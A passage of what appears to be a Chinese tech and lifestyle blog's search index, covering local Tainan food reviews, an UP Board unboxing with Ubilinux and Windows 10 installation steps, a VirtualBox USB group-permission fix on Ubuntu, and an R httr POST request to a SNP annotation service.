粉絲專頁\n藝素燴館位於新營的延平路與新進路交叉口，門口有綠色的招牌。\n這是店內的用餐環境，空間大、座位也很多，適合團體聚餐。\n這是藝素燴館的菜單，有麵類、飯類、粥類、湯類、小菜與點心。\n餐具以及醬料可以自行取用。\n這是素食蚵仔煎，口味不會太重。素食蚵仔煎有分加蛋與不加蛋的，吃全素的人可以點不加蛋的。\n這個醬汁裡看起來一點一點的，感覺很像沙茶，不過那個是老闆用花生粉特製的醬汁。\n這是蔬菜捲餅。\n裡面包了各種蔬菜，我個人喜歡吃這一道。\n這一碗是牛若湯麵，也就是素食的牛肉麵。\n這些是香菇頭做的素肉。\n這一盤是香椿炒飯。\n這一碗是鮮蔬湯麵。\n這個是南瓜湯麵。\n這一盤是素食蚵仔酥。\n這是素食排骨酥羹飯。\n這是麻醬麵，麻醬在麵底下。\n要吃之前要自己拌一下麻醬。\n這一盤是素食千島 G 塊，配上蔬菜感覺很不錯。\n這是什錦炒麵。\n這是素食紅糟排。\n這是素食義大利麵。\n這是牛若燴飯。\n這是枸杞鮮菇湯。\n主要的料就是菇與枸杞。\n這是味噌湯。\n這一道則是糯米腸。\n這是藝素燴館的名片。\n他們的服務項目很多，彌月油飯與喜宴都有。\n由於餐廳內沒有提供飲水，所以如果容易口渴的人，可能就要自己加點湯。\n以下是阿玄用餐的照片。\n","permalink":"https://blog.gtwang.org/life/yisu-vegetarian-restaurant-sinying-tainan-20160911/","summary":"\u003cp\u003e藝素燴館是新營的一家素食餐館，這裡除了有各式飯、麵等餐點之外，還有素食蚵仔煎等小菜與點心，亦有提供合菜、團膳與便當。\u003c/p\u003e\n\u003cp\u003e藝素燴館每週六、日都有營業，如果假日沒有地方吃素食的人，可以考慮來這裡用餐。\u003c/p\u003e","title":"[台南新營素食] 藝素燴館：各式飯、麵、素食蚵仔煎，合菜、團膳與便當"},{"content":"UP Board 是一片使用 Intel Atom 處理器的開發板，大小與樹莓派相同，可以運行一般的 Windows、Linux 或 Android 系統，可以說是目前世界上最小的 x86 電腦。\n受到物聯網的熱潮影響，最近市面上出現非常多種開發板，像樹莓派應該就是大家最常會聽到的板子，但大多數這類的板子都是使用 ARM 的 CPU，所以只能運行 Linux 或 Android 等特定系統，想要將既有 PC 上面的程式放在這樣的開發板上，通常只能拿原始碼把程式重新編譯成 ARM 的執行檔，這對於小程式倒是還好，若程式所使用到的函式庫很複雜，甚至沒有支援 ARM 的版本，大概就沒救了。\nUP Board 是一個從 Kickstarter 募資起家的 x86 開發板，在設計上非常類似樹莓派（Raspberry Pi），但有一個很特別的地方是它使用了 Intel Quad Core Atom X5-8350 1.44 GHz 的 CPU，最高突增頻率可達 1.92 GHz，可以運行一般的 Windows、Linux 或 Android 系統，也就是說它其實就是一台迷你的個人電腦，理論上一般電腦上的應用程式都可以直接放在上面跑，不需要更改任何程式碼或重新編譯，我個人感覺這應該是它最重要的優勢之一。\nUP Board 開箱 最近有幸受到 UP Board 官方的邀請，贈送我一片 UP Board 的開發板做測試，讓我撰寫相關測評文章，官方的作法很大方，把板子寄給我之後，完全不干涉我如何撰寫文章的內容，若您對於這片 UP Board 開發版有興趣，可至 UP Shop 網站購買，或直接聯絡研揚科技。以下是 UP Board 的開箱文與各種系統的測試報告。\nUP Board 官方這次似乎非常積極推廣這片新開發板，由於我最近很忙，我收到 E-mail 邀請函之後，拖了好幾天才回信給他們，沒想到他們速度好快，聯絡完過兩天我就收到了，真是誠意十足！\n打開外箱之後，裡面有一片 UP Board 開發板，以及一個電源供應器。\n它附帶的電源供應器比一般樹莓派用的還要大很多，輸出電壓為 5 伏特，輸出電流則是可以到達 4 安培。\n電源的插頭是圓形的那種，外徑為 5.5 mm，內徑為 2.1 mm。\n這是 UP Board 開發板的外盒。\n盒子上面有兩年保固的標誌。\n盒子裡面裝的就是一片以深色防靜電袋包裝起來的 UP Board 開發板。\nUP Board 開發板的尺寸為 85.6 mm × 56.5 mm，跟樹莓派的大小相同，不過 UP Board 的電源供應器卻大很多。\n這是 UP Board 開發板的正面，最顯眼的就是 CPU 的散熱片與風扇，黃色的那個是實時時鐘（RTC）用的 CR2032 電池。\n這裡的有風扇的散熱片是屬於加購的配件，標準版的 UP Board 開發版是使用這樣的標準散熱片（這一片是 UP Board 官方後來補寄給我的）。\n標準散熱片與附風扇的散熱片大小相同。\n更換散熱片的方式很單純，把上面的保護膜撕掉，直接貼在 UP Board 上即可。\nUP Board 開發板的背面則是一片跟板子一樣大的金屬板，上面有四的螺絲孔，可以方便用螺絲固定板子。\n背面的金屬板除了固定板子之外，同時也是 CPU 的散熱片，金屬板突起的地方剛好就貼在 CPU 下方。\nUP Board 上面有一排 20x2 的 GPIO 排針，其排列方式跟樹莓派非常類似，可與多數的 Raspberry Pi HAT 相容。\n這一側左邊的是 USB 2.0 的序列埠，中間的是 DSI 顯示介面插槽，右邊的則是 CSI 相機介面插槽。\n這一側最左邊的白色圓紐是電源按鈕，接著是黑色圓形的電源插座與 HDMI 顯示輸出，最右邊的是一個 USB 3.0 Micro-B 的插槽。\n這一側則是一個 RJ-45 網路孔，加上四個 USB 2.0 的插槽。這裡所提供的乙太網路速度是 1 Gb。\n整體而言 UP Board 開發板的 I/O 設計與樹莓派非常相似，樹莓派能做的事情 UP Board 應該也都可以做，而且 UP Board 還內建 RTC、USB 3.0 OTG 等。另外它的儲存媒體是使用 eMMC，目前有 16GB、32GB 與 64GB 三整規格可以選擇，記憶體也是分為 1GB、2GB 與 4GB 三種大小。詳細的規格書請參考 [UP Board 的官方網站][6]。\n我記得我在大學一年級的時候，自己用的第一台個人電腦是 Intel Pentium 4 的單核心 CPU，速度只有 1.5GHz，那時候我每年的寒暑假就用我的個人電腦，自己安裝 Linux 系統、自學各種程式語言、Linux 系統等資訊技術。而到了現在這個時代，這樣一片小板子就抵過當時的四台人電腦有餘，而且價格更是低廉。\n其他角度的特寫照片。\n這是我拿一張 Raspberry Pi 2 Model B 與 UP Board 比較的照片，UP Board 開發板的尺寸大小跟樹莓派幾乎完全相同。\n在 UP Community 的網站上有提供各種 UP Board 開發板所需要的軟體、韌體、驅動程式與安裝相關的說明文件，首先我們先示範 UP Board 官方的 Ubilinux 作業系統的安裝與使用方式。\n安裝 Ubilinux Ubilinux 是一套以 Debian 為基礎所發展出來的嵌入式 Linux 系統，其開發者為 Emutex，在目前最新的 Ubilinux 3.0 發行版中，使用 Linux 4.4 版的核心，並加入各種 UP Board 所需要的驅動程式、函式庫與應用程式。\n以下是在 UP Board 上安裝 Ubilinux 作業系統的步驟教學。\n準備安裝用的 USB 隨身碟 以往樹莓派在安裝時只要將檔案寫進 microSD 卡，再把卡片插進樹莓派就完成了，而 UP Board 的安裝方式則完全不同，我們必須新準備一個 USB 隨身碟作為安裝媒體，將安裝用的 iso 映像檔寫進 USB 隨身碟之後，再把 USB 隨身碟插進 UP Board 上，然後再進行一般的 Linux 安裝程序。\n安裝媒體除了使用 USB 隨身碟之外，亦可選擇記憶卡搭配 USB 介面的讀卡機來使用，不過不管用什麼樣的方式，一定要使用具備 UEFI 開機能力的 USB 裝置才能正常安裝。\n首先從 UP Community 的網站上下載 Ubilinux 3.0 的 iso 映像檔，其大小大約是 705 MB 左右。\n接著就要將 iso 映像檔寫入 USB 隨身碟中，由於 Ubilinux 3.0 的 iso 映像檔只有 705 MB，所以只要拿一個 1GB 以上的 USB 隨身碟即可，不需要太大。\n基本上不管在哪一種系統中都可以製作 UP Board 安裝用的 USB 隨身碟，只不過操作過程有些小差異，但大原則都是一樣的，以下是在 Windows、Linux 與 Mac OS X 中的操作說明。\n在製作安裝 Ubilinux 的 USB 隨身碟時，會將 USB 隨身碟中的資料完全刪除，製作前請先確認 USB 隨身碟中沒有任何重要資料。\nWindows 在 Windows 系統上可以使用 Rufus 這個小工具來將 Ubilinux 的 iso 映像檔寫入 USB 隨身碟。\nStep 1\n首先從它的官方網站上下載最新版的 Rufus 並執行之，接著選擇要使用的 USB 隨身碟，然後將「資料分割配置及系統類型」調整為「MBR 可相容 BIOS 和 UEFI 之資料分割配置」。最後點選下方光碟機的圖示，選擇剛剛下載的 iso 映像檔。\n至於其他的選項，就看個人需求自行調整。設定完成後，按下「執行」按鈕。\nStep 2\n第一次使用時，Rufus 需要下載一些額外的擴充檔案，選擇「是」讓它自動下載。\nStep 3\n寫入模式請選擇「以 DD 映像模式寫入」。\nStep 4\n以 DD 映像模式寫入，確定沒問題的話，就按下「確定」。\nStep 5\n等待映像檔寫入。\nStep 6\n映像檔寫入完成，點選「關閉」。\n最後將 USB 隨身碟拔起來，就可以準備在 UP Board 上安裝 Ubilinux 了。\nLinux 若在 Linux 系統中要製作安裝 Ubilinux 用的 USB 隨身碟，首先把 USB 隨身碟插入電腦中，接著確認 USB 隨身碟的磁碟代號：\nlsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 465.8G 0 disk ├─sda1 8:1 0 400M 0 part ├─sda2 8:2 0 300M 0 part /boot/efi ├─sda3 8:3 0 128M 0 part ├─sda4 8:4 0 200G 0 part ├─sda5 8:5 0 41.2G 0 part ├─sda6 8:6 0 28.4G 0 part ├─sda7 8:7 0 683M 0 part [SWAP] └─sda8 8:8 0 194.7G 0 part / sdc 8:32 1 7.6G 0 disk └─sdc1 8:33 1 7.6G 0 part /media/gtwang/217D-A3AA loop0 7:0 0 72.5M 0 loop /snap/ubuntu-core/216 loop1 7:1 0 64.8M 0 loop /snap/ubuntu-core/122 loop2 7:2 0 39M 0 loop /snap/hello-world-desktop/x1 loop3 7:3 0 74.3M 0 loop /snap/ubuntu-core/352 這裡可以依據磁碟的大小來判斷那一個是 USB 隨身碟，如果要更詳細的資訊，可以改用 parted：\nsudo parted -l 型號：ATA TOSHIBA MQ01ACF0 (scsi) 磁碟 /dev/sda：500GB 磁區大小 (邏輯/物理)：512B/4096B 分割區：gpt 磁碟旗標： 編號 起始點 結束點 大小 檔案系統 名稱 旗標 1 1049kB 420MB 419MB ntfs Basic data partition 隱藏分割區, diag 2 420MB 735MB 315MB fat32 EFI system partition 啟動, esp 3 735MB 869MB 134MB Microsoft reserved partition msftres 4 869MB 216GB 215GB ntfs Basic data partition msftdata 5 216GB 260GB 44.3GB ntfs Basic data partition msftdata 8 260GB 469GB 209GB ext4 7 469GB 470GB 716MB linux-swap(v1) 6 470GB 500GB 30.5GB ntfs Basic data partition 隱藏分割區, diag 型號：JetFlash Transcend 8GB (scsi) 磁碟 /dev/sdc：8103MB 磁區大小 (邏輯/物理)：512B/512B 分割區：msdos 磁碟旗標： 編號 起始點 結束點 大小 類型 檔案系統 旗標 1 1049kB 8103MB 8102MB primary fat32 parted 的輸出更為詳細，連磁碟的型號都有，很明顯的 /dev/sdc 就是 JetFlash Transcend 8GB 這個隨身碟。\n另外也可以使用 fdisk：\nsudo fdisk -l 不管使用那一種方式，只要能確定 USB 隨身碟的代號即可。\n接著將 USB 隨身碟卸載（unmount），可以直接在視窗介面中點選卸載的按鈕：\n或是使用指令的方式卸載：\ndf -h udev 3.9G 0 3.9G 0% /dev tmpfs 788M 9.9M 779M 2% /run /dev/sda8 192G 132G 51G 73% / tmpfs 3.9G 117M 3.8G 3% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup /dev/loop1 65M 65M 0 100% /snap/ubuntu-core/122 /dev/loop2 39M 39M 0 100% /snap/hello-world-desktop/x1 /dev/loop0 73M 73M 0 100% /snap/ubuntu-core/216 /dev/sda2 296M 43M 254M 15% /boot/efi cgmfs 100K 0 100K 0% /run/cgmanager/fs tmpfs 788M 80K 788M 1% /run/user/1000 /dev/loop3 75M 75M 0 100% /snap/ubuntu-core/352 /dev/sdc1 7.6G 4.0K 7.6G 1% /media/gtwang/217D-A3AA umount /media/gtwang/217D-A3AA 最後用 dd 指令將 iso 檔直接寫入 USB 隨身碟：\nsudo dd if=/path/to/ubilinux-3.0.iso of=/dev/sdc 這裡的 if 參數是指定 iso 檔的路徑，而 of 則是指定 USB 隨身碟的磁碟代號。等待 dd 指令執行完畢，就完成 USB 隨身碟的製作了，隨後將 USB 隨身碟拔下後，即可以進行後續的 Ubilinux 安裝動作。\nMac OS X 若是在 Mac OS X 中，也是仿照 Linux 上的方式使用 dd 指令寫入。插入 USB 隨身碟之後列出所有的磁碟，確認 USB 隨身碟的編號：\ndiskutil list 輸出會類似這樣：\n/dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *1.0 TB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_HFS Macintosh HD 999.3 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 /dev/disk1 (external, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *8.1 GB disk1 1: DOS_FAT_32 TS8G 7.5 GB disk1s1 2: Linux_Swap 600.8 MB disk1s5 我們可以依據磁碟容量來判斷 USB 隨身碟是哪一個，以這個例子而言我是插入一個 8GB 的隨身碟，所以很顯然是 /dev/disk1，接著卸載 USB 隨身碟：\ndiskutil unmountDisk /dev/disk1 然後使用 dd 將 iso 映像檔寫入隨身碟中：\nsudo dd if=ubilinux-3.0.iso of=/dev/rdisk1 bs=1m 這裡我們使用 /dev/rdisk1 這個設備檔，其作用與 /dev/disk1 相同，只是效率會比較好，如果上面這個指令有問題，可以改用：\nsudo dd if=ubilinux-3.0.iso of=/dev/disk1 bs=1m 寫入完成後，應該會有類似這樣的輸出：\n705+0 records in 705+0 records out 739246080 bytes transferred in 65.885036 secs (11220242 bytes/sec) 若沒有什麼錯誤訊息，就可以將 USB 隨身碟拔起來，插進 UP Board 開始安裝了。\n準備好 Ubilinux 的安裝 USB 隨身碟之後，就可以開始將 Ubilinux 安裝至 UP Board 開發板上了，由於 Ubilinux 是以 Debian Linux 為基礎所發展出來的，所以安裝的流程跟 Debian Linux 幾乎相同。\n將 Ubilinux 安裝至 UP Board Step 1\n將安裝用的 USB 隨身碟插入 UP Board，接上螢幕、鍵盤、滑鼠，如果想要在安裝時順便從網路上抓取最新的更新套件，就將網路線接上。\n將所有的設備接好之後，最後再插上電源，UP Board 類似樹莓派，電源一接上就會直接開機。\nStep 2\nUP Board 開機時會出現一個 UP logo，這時候可以使用滑鼠選擇螢幕右上方的選單，進入開機選單（或是按下 F7 亦可）。第一次安裝時，在這裡不需要按任何按鍵，它會自動使用 USB 隨身碟開機。\nStep 3\n使用 USB 隨身碟開機之後，會進入 GRUB 的開機選單，選擇「Install」進行安裝。\nStep 4\n選擇語言，這裡我選擇繁體中文作為示範。\nStep 5\n選擇地理位置。\nStep 6\n設定鍵盤，通常使用預設值即可。\nStep 7\n安裝前會自動以 DHCP 取得 IP 位置上網，若自己的網路環境沒有 DHCP 伺服器，也可以自行使用手動的方式設定網路，或是以不連接網路的離線方式安裝亦可。\nStep 8\n設定主機名稱，也就是幫 UP Board 取一個名字。\nStep 9\n設定網域名稱。\nStep 10\n輸入使用者名稱。\nStep 11\n輸入使用者帳號。\nStep 12\n輸入使用者密碼。\nStep 13\n確認使用者密碼。\nStep 14\n進行磁碟格式化。\nStep 15\n等待系統安裝。\nStep 16\n選擇鏡像站的國家。\nStep 17\n選擇鏡像站。\nStep 18\n設定 HTTP 代理伺服器，沒有使用代理伺服器的話，留空白即可。\nStep 19\n更新系統套件。\nStep 20\n安裝完成並重新開機後，就會看到新的 GRUB 開機選單。選擇第一個 Ubilinux GNU/Linux。\nStep 21\n如果安裝時選擇繁體中文，由於預設的狀況下沒有安裝中文字型，中文字的顯示會有些問題，不過不影響登入。\nStep 22\n輸入帳號與密碼登入。\nStep 23\n這是預設的 Ubilinux 的桌面。\n在桌面左下角的選單中，打開終端機，安裝一下中文字體：\nsudo apt-get install fonts-arphic-uming 安裝完成後，登出桌面環境。\nStep 24\n在安裝完中文字型後，中文顯示就正常了，這是修正完成後的 Ubilinux 登入畫面。\n這是安裝完成的 Ubilinux 桌面環境，由於 UP Board 的 CPU 是 Intel Quad Core Atom X5-8350，速度最高可達 1.92 GHz，所以桌面環境在使用上相當流暢。\n以上就是 Ubilinux 在 UP Board 上的安裝流程。\n這裡補充一下 UP Board 的開機選單畫面，如果在一開始開機 UP logo 出現時，按下 F7 即可進入這個畫面，這裡可以選擇開機的磁碟，如果要重新安裝系統時，就會需要從這裡選擇以 USB 隨身碟開機。\n若選擇「Enter Setup」即可進入 BIOS 選單，密碼的話預設是空白，直接按 Enter 鍵即可。\n在 BIOS 的各個選單中，可以查詢各種硬體資訊。\n這些是 CPU 的資訊。\n南橋晶片資訊。\n接著將介紹 Windows 的安裝步驟，請繼續閱讀下一頁。\n安裝 Windows 10 由於 UP Board 是使用 Intel Atom 的處理器，所以可以直接安裝一般的 Windows 系統，整個安裝與使用過程跟一般 PC 完全相同，以下我示範在 UP Board 上安裝 Windows 10 的步驟。\n準備安裝用的 USB 隨身碟 Windows 10 的作業系統現在都可以直接從微軟的官方網站下載，除了傳統的 iso 檔之外，官方還有提供製作 USB 安裝隨身碟的工具。以下我示範 USB 隨身碟的方式。\nStep 1\n準備一個 4GB 以上的隨身碟，然後開啟微軟 Windows 10 的下載網頁，點選「立即下載工具」，並執行之。\nStep 2\n授權條款，點選「接受」。\nStep 3\n選擇第二個「為另一部電腦建立安裝媒體」。\nStep 4\n選取語言、架構與版本，請選擇 64 位元的 Windows 10，語言則看自己的喜好。\nStep 5\n選擇要使用的媒體，這裡我們「USB 快閃磁碟機」（也就是 USB 隨身碟）。\nStep 6\n選擇 USB 快閃磁碟機，也就是選擇要使用的 USB 隨身碟。\n如果您同時在電腦上插入多個 USB 隨身碟，請小心選取，若選擇錯誤可能會造成 USB 隨身碟的資料損毀。建議將沒用的 USB 隨身碟都先拔起來比較保險。\nStep 7\n等待下載 Windows 10 與製作 USB 安裝隨身碟。\n等這個製作過程完成後，就完成 Windows 10 的 USB 安裝隨身碟的製作了，接下來就把這個 USB 隨身碟拔下來，插入 UP Board 準備安裝 Windows 10。\nStep 8\n把安裝 Windows 10 用的隨身碟插入 UP Board，並連接螢幕、鍵盤、滑鼠與網路線，開機之後選擇 USB 隨身碟開機，接著就會進入一般的 Windows 10 安裝流程。首先選擇語言與輸入法。\nStep 9\n開始安裝 Windows 10，整個安裝過程跟一般電腦沒兩樣。\nStep 10\n輸入 Windows 10 序號。\nStep 11\n選擇要安裝的 Windows 10 版本，這裡我選擇專業版的 Windows 10。\nStep 12\n軟體授權條款，點選「我接受授權條款」，並點選「下一步」。\nStep 13\n選擇安裝類型，這裡我選擇自訂，安裝一個全新的 Windows 10 環境。\nStep 14\n分割磁碟區，這個就按照自己的需求分割。\nStep 15\n等待 Windows 10 安裝。\nStep 16\n安裝完成後，重新開機。\nStep 17\n重新開機後，會進入 Windows 10 初始設定畫面，按照畫面指示逐步設定即可。\nStep 18\n設定完成後，就可以開始在 UP Board 開發版上使用 Windows 10 了。\n我的這一片 UP Board 的 eMMC 空間大小是 32GB，安裝完基本的 Windows 10 系統之後，還剩餘 17GB 左右，看起來空間還很充裕。\n這是檢視電腦基本資訊的畫面。\n剛安裝好的系統，在裝置管理員中會有一些無法辨識的裝置，接下來要安裝一下驅動程式。\n從 UP Community 網站上下載 Windows 10 用的驅動程式。\n將下載下來的驅動程式依序安裝起來。\n安裝的過程都很單純，只要找到名稱為 setup 的執行檔，執行後逐步安裝即可，跟一般電腦完全一樣。\n安裝完 MS WINDOWS 10 64BIT DRIVERS PACKAGE 的驅動程式之後，一般普通的硬體看起來都可以正常使用，但還有一些無法辨識的裝置，應該是比較低階的硬體，這些就等以後有機會再測試了。\n這裡我使用 Speccy 這個小工具來查詢一些比較詳細的硬體資訊。\nCPU 資訊。\n記憶體資訊。\n主機板資訊。\n顯示卡資訊。\n儲存媒體資訊。\nUP Board 安裝完 Windows 10 之後，我感覺操作起來還算順暢，這種速度對於一般的上網與文書處理而言，應該都很足夠了。\n補上一張幕後花絮照，這篇開箱文寫的實在好長，拍攝的過程還滿花時間的，還好該有的設備我都有，那隻桌上型腳架與快門線是重點，架好之後一邊安裝一邊拍。\n最後特別感謝 UP Board 官方提供本站測試用的硬體設備，有興趣者可至 UP Shop 購買，或直接聯絡研揚科技。\n參考資料 IT 技術家 PCDIY 葉難 ","permalink":"https://blog.gtwang.org/iot/up-board-the-smallest-x86-pc/","summary":"\u003cp\u003eUP Board 是一片使用 Intel Atom 處理器的開發板，大小與樹莓派相同，可以運行一般的 Windows、Linux 或 Android 系統，可以說是目前世界上最小的 x86 電腦。\u003c/p\u003e\n\u003cp\u003e受到物聯網的熱潮影響，最近市面上出現非常多種開發板，像樹莓派應該就是大家最常會聽到的板子，但大多數這類的板子都是使用 ARM 的 CPU，所以只能運行 Linux 或 Android 等特定系統，想要將既有 PC 上面的程式放在這樣的開發板上，通常只能拿原始碼把程式重新編譯成 ARM 的執行檔，這對於小程式倒是還好，若程式所使用到的函式庫很複雜，甚至沒有支援 ARM 的版本，大概就沒救了。\u003c/p\u003e","title":"[開箱] UP Board 開發板：可跑 Windows 10，世界最小 x86 PC"},{"content":"台南善化的甜在心紅豆餅是一家小有名氣的紅豆餅專賣店，其特色在於外皮酥脆、餡料飽滿，每個紅豆餅只賣 10 元。\n由於下週中秋節彈彈性放假，這個週六補上班，而善化這家甜在心紅豆餅剛好假日比較早開門，週六早上七點就開始營業了，所以今天上班時就順路過來買幾個紅豆餅當做早餐，順便拍個照片分享一下。\n甜在心紅豆餅的位置就在善化公有零售市場門口，鮮黃色的招牌很明顯。\n這家紅豆餅平常生意似乎都不錯，若不想等太久的話，最好是是先電話預約。\n攤位旁邊有菜單還有點餐用的蠟筆。\n這裡有好多種口味的紅豆餅，點好之後交給老闆排隊。\n紅豆餅攤位上掛的那些就是在排隊的菜單，我早上大約七點十分到這裡，就已經有許多單子在排了，老闆跟我說我的單子大約需要等二十分鐘左右，我看大家似乎都是先點餐後就離開了，等時間到了再過來拿。\n在等待的時間剛好讓我慢慢拍照，順便欣賞這些漂亮的紅豆餅。甜在心紅豆餅的內餡真的加的很多，尤其是紅豆、抹茶、奶油等餡料，擠下去都像冰淇淋那麼高了。\n那麼大顆的紅豆餅只賣 10 元，CP 值還算不錯。\n有一些紅豆餅做出來就像這樣餡料多到蓋不起來。\n除了常見的各種甜口味紅豆餅之外，也有一種鹹的筍干菜捕。\n這是甜在心紅豆餅的名片。\n名片的背面有列出各種口味的紅豆餅，每粒 10 元。\n今天早上想說那麼多口味都沒吃過，所以一次買了六顆，都是不同口味的。\n不過這個紅豆餅真的很大顆，我早上吃了兩顆就差不多飽了。\n店名：甜在心紅豆餅\n地址：台南市善化區中山路 377 號（善化市場門口）\n電話：0987-203-880\n營業時間：平日 10:00 ～ 17:00、假日 07:00 ～ 12:00（週一公休）\n網站：甜在心紅豆餅網站\n","permalink":"https://blog.gtwang.org/life/sweet-in-heart-read-bean-cakes-shanhua-tainan/","summary":"\u003cp\u003e台南善化的甜在心紅豆餅是一家小有名氣的紅豆餅專賣店，其特色在於外皮酥脆、餡料飽滿，每個紅豆餅只賣 10 元。\u003c/p\u003e\n\u003cp\u003e由於下週中秋節彈彈性放假，這個週六補上班，而善化這家甜在心紅豆餅剛好假日比較早開門，週六早上七點就開始營業了，所以今天上班時就順路過來買幾個紅豆餅當做早餐，順便拍個照片分享一下。\u003c/p\u003e","title":"[善化美食] 甜在心脆皮爆漿紅豆餅，外皮酥脆、餡料飽滿"},{"content":"這裡介紹在 Ubuntu Linux 系統上，使用 VirtualBox 時若找不到 USB 裝置該如何解決。\n在 VirtualBox 運行的客體作業系統可以透過 VirtualBox 提供的裝置介面，直接存取外部實體的 USB 裝置，不過在 Ubuntu Linux 的環境中在加入 USB 裝置時，有時候會出現找不到任何 USB 裝置，以下介紹此問題的解決方式。\n在 Ubuntu Linux 中的 VirtualBox 若找不到任何 USB 裝置，畫面會像下圖這樣，在 USB 選單中沒有任何項目。\n這個問題通常都是因為使用者群組沒有設定好而造成的，在 Linux 環境下所有需要使用 VirtualBox 的使用者，都必須加入 vboxusers 群組，否則就無法存取一些系統底層的資源，而 USB 裝置就是其中之一。\n出現這個問題時，請先檢查自己帳號的群組設定，確認一下自己的帳號所隸屬的群組列表：\ngroups 輸出會類似這樣：\ngtwang adm cdrom sudo dip plugdev lpadmin sambashare 如果發現這個輸出之中沒有包含 vboxusers 這個群組，就表示問題應該就是出在這裡。\n將自己的帳號加入 vboxusers 群組：\nsudo usermod -a -G vboxusers gtwang 這裡我將我的 gtwang 帳號加入 vboxusers 群組，而執行完之後，記得登出系統再重新登入，讓新的設定生效。群組設定修正完成之後，再重新開啟 VirtualBox 並啟動客體作業系統，這時候 USB 的裝置應該就可以正常使用了。\n如果不幸在修正完群組之後，USB 裝置還是有問題，可以嘗試將 VirtualBox 更新至最新版，通常 Ubuntu 官方的 virtualbox 套件版本都不是最新的，有時候舊版的軟體會有一些 bugs，在新版中可能會被修正，不過這個不是絕對的，時常是要看運氣。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-virtualbox-cannot-attach-usb-devices/","summary":"\u003cp\u003e這裡介紹在 Ubuntu Linux 系統上，使用 VirtualBox 時若找不到 USB 裝置該如何解決。\u003c/p\u003e\n\u003cp\u003e在 VirtualBox 運行的客體作業系統可以透過 VirtualBox 提供的裝置介面，直接存取外部實體的 USB 裝置，不過在 Ubuntu Linux 的環境中在加入 USB 裝置時，有時候會出現找不到任何 USB 裝置，以下介紹此問題的解決方式。\u003c/p\u003e","title":"解決 Ubuntu Linux 的 VirtualBox 找不到 USB 裝置的問題"},{"content":"這裡介紹一個 R 使用 httr 套件，以 POST 方式抓取網路資料的範例。\nBroad Institute 的網站上有提供 SNP Annotation 的資料供使用者下載，下載時使用這要先傳送相關的搜尋參數，才能取得查詢的結果，以下介紹如何使用 R 的 httr 套件自動抓取這個網站上的資料。\nStep 1\n開啟 Broad Institute 的 [SNP Annotation 搜尋頁面][2]。\nStep 2\n在 Input SNPs 欄位選擇「Text Entry」，並點選 Example 載入範例。\nStep 3\n在 Output Options 中，將 Download to 選項改為「Browser」，讓資料可以直接顯示在瀏覽器中。\nStep 4\n從 Google Chrome 瀏覽器的選單中，開啟「開發人員工具」視窗，將頁面切換至「Network」那一頁，準備觀察所有的連線資料。\n接著點選網頁下方的「search」按鈕，將查詢的參數送出，取得查詢結果，完成後就會看到類似這樣的畫面。\nStep 5\n在下方的連線中，選擇最主要的 ldsearchpw.php 連線，接著從 Headers 的籤頁檢查 Request URL 與 Request Method，這裡的 URL 是 http://www.broadinstitute.org/mpg/snap/ldsearchpw.php，而 Method 則是 POST。\nStep 6\n在下方的 Request Payload 中，將每一個欄位的名稱與值都複製出來。例如 searchPairwise 欄位的值就是 true，其餘以此類推。\nStep 7\n使用 R 的 httr 套件，仿照瀏覽器丟出一模一樣的請求（request）。由於這個網頁是使用 POST 的方式送出請求，所以這裡要用 httr 的 POST 送出請求，至於 POST 請求中要放的參數，則是按照上面 Request Payload 中的資料來設定，以下是完整的 R 程式碼。\nlibrary(httr) url \u0026lt;- \u0026#34;http://www.broadinstitute.org/mpg/snap/ldsearchpw.php\u0026#34; result \u0026lt;- POST(url, body = list( searchPairwise = \u0026#34;true\u0026#34;, snpList = \u0026#34;rs9627183 rs11134178 rs12915721 rs2157697 rs4011946 rs6501530 rs12301774 rs2594278 rs3792452 rs1065758 rs12360508 rs16847570 rs175126 rs933771 rs1381795 rs3845659 rs2382075 rs16959263 rs1005324 rs2039430 rs4853259 rs12651081 rs11999224 rs17755054 rs11652864 rs2653306 rs7791083 rs10217716 rs6580967\u0026#34;, hapMapRelease = \u0026#34;onekgpilot\u0026#34;, hapMapPanel = \u0026#34;CEU\u0026#34;, RSquaredLimit = \u0026#34;0.8\u0026#34;, distanceLimit = \u0026#34;500000\u0026#34;, downloadType = \u0026#34;Browser\u0026#34;, suppressWarnings = \u0026#34;no\u0026#34;, arrayFilter = \u0026#34;query\u0026#34;, \u0026#34;columnList[]\u0026#34; = \u0026#34;DP\u0026#34;, \u0026#34;columnList[]\u0026#34; = \u0026#34;GP\u0026#34;, \u0026#34;columnList[]\u0026#34; = \u0026#34;AM\u0026#34;, submit = \u0026#34;search\u0026#34; )) result 執行之後，就可以抓到跟瀏覽器一模一樣的結果：\nResponse [http://www.broadinstitute.org/mpg/snap/ldsearchpw.php] Date: 2016-09-02 06:01 Status: 200 Content-Type: text/plain; charset=UTF-8 Size: 325 B SNP\tProxy\tDistance\tRSquared\tDPrime\tArrays\tChromosome\tCoordinate_HG18 rs4011946\trs2653306\t21118\t1.000\t1.000\tA6,AxM,AAH\tchr3\t188658023 rs6501530\trs11652864\t2898\t1.000\t1.000\tAN,A5,A6\tchr17\t67807860 rs11652864\trs6501530\t2898\t1.000\t1.000\tAS,A5,A6,AxM\tchr17\t67810758 rs2653306\trs4011946\t21118\t1.000\t1.000\tA6,CM\tchr3\t188679141 最後我們可以使用 read.table 將資料轉為 R 的 data frame：\nresult.conn \u0026lt;- textConnection(content(result)) result.table \u0026lt;- read.table(result.conn, header = TRUE) 這樣就完成資料的捉取動作了。\n","permalink":"https://blog.gtwang.org/r/r-httr-package-snp-annotation-examples/","summary":"\u003cp\u003e這裡介紹一個 R 使用 httr 套件，以 POST 方式抓取網路資料的範例。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.broadinstitute.org/\"\u003eBroad Institute\u003c/a\u003e 的網站上有提供 SNP Annotation 的資料供使用者下載，下載時使用這要先傳送相關的搜尋參數，才能取得查詢的結果，以下介紹如何使用 R 的 httr 套件自動抓取這個網站上的資料。\u003c/p\u003e","title":"R 使用 httr 套件抓取網路資料教學：以 SNP Annotation 